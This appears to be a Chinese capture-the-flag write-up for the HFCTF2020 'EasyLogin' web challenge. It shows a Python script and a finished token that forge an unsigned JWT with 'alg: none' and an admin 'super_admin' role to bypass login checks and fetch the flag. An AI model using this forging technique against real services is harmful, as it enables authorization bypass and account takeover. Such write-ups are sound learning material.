[HFCTF2020]EasyLogin

HFCTF2020EasyLogin

打开题目便是登录界面,先进行注册

登录成功,发现提示讲flag就在这里,这里有输入框,输入flag,点击GET FLAG

返回权限被拒绝

查看源代码但是没有发现什么,但是抓登录的数据包时发现了jwt,所以这应该是通过修改jwt中的权限信息来获得admin权限

将其放到https://www.jwt.io/中查看,jwt信息格式:前两部分均是base64加密,第三部分加密方式为第一部分声明的加密算法结合密匙进行加密

然后就想着获取密匙,但是未成功,在网上看到:当加密时使用的是 none 方法,验证时只要密钥处为 undefined 或者空之类的,即便后面的算法指名为 HS256,验证也还是按照 none 来验证通过,那这样的话我们就可以直接伪造jwt的信息了,对header和payload部分信息分别进行修改和加密,然后拼接加密后的字符串(注意删掉填充符=),结果如下:

复制代码
import base64
import json


def base64_url_encode(data):
    b64_encoded = base64.b64encode(data.encode('utf-8')).decode('utf-8')
    return b64_encoded.rstrip('=').replace('+', '-').replace('/', '_')
header = {
        "alg": "none",
        "typ": "JWT"
    }
payload = {
        "secretid": [],
        "username": "admin",
        "password": "123456",
        "iat": 1773737892,
        "role": "super_admin"
    }
encoded_header = base64_url_encode(json.dumps(header, separators=(',', ':')))
encoded_payload = base64_url_encode(json.dumps(payload, separators=(',', ':')))

print("Base64URL编码后的Header(无填充符=):")
print(encoded_header)
print("\nBase64URL编码后的Payload(无填充符=):")
print(encoded_payload)

最终的JWT为:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMzQ1NiIsImlhdCI6MTc3MzczNzg5Miwicm9sZSI6InN1cGVyX2FkbWluIn0.

用新生成的JWT来替换掉原来的JWT,然后讲username改为admin(当时做的时候就忘记改了,发现返回的是false,浪费了一些时间)

admin登录成功后,查询flag,然后抓包

将查询处抓包的cookie值换成登录包中的cookie值,发送就可以获得flag了

相关推荐
网安老伯12 小时前
都2026年了,还在问网络安全怎么入门?看完这一篇你就懂了
运维·计算机网络·web安全·网络安全·wireshark·密码学·网络攻击模型
Bruce_Liuxiaowei1 天前
2026年9月第2周网络安全形势周报
网络·安全·web安全·网络安全·漏洞评级
三8441 天前
Java 模板注入(FreeMarker) · 02 · 模板引擎与 FreeMarker 语法
java·开发语言·web安全·freemarker
是逍遥子没错2 天前
一个斜杠,击穿整座网关:API网关路径前缀绕过认证实战
运维·服务器·web安全·网络安全·渗透测试·系统安全
网教盟人才服务平台2 天前
Spring4Shell 漏洞原理、利用手段与全场景防御方案
安全·web安全
小程序设计2 天前
网络安全漏洞综合实验场设计与开发
安全·web安全
持敬chijing3 天前
CentOS 从零搭建 LAMP 环境完整实战指南
linux·运维·web安全·网络安全·centos
Chengbei113 天前
红队新工具 ToShell 解析:自带 Web 控制台,AES+SM4 国密加密,载荷随机免杀,自主 Agent 自动完成渗透任务
人工智能·tcp/ip·安全·web安全·http·网络安全·系统安全
lisw053 天前
代理型人工智能与网络安全:目前的进展状况
人工智能·安全·web安全
白猫不黑3 天前
大学网安方向学习路线:零基础与有基础的学习顺序整理
学习·web安全·计算机·网络安全·信息安全·编程·src漏洞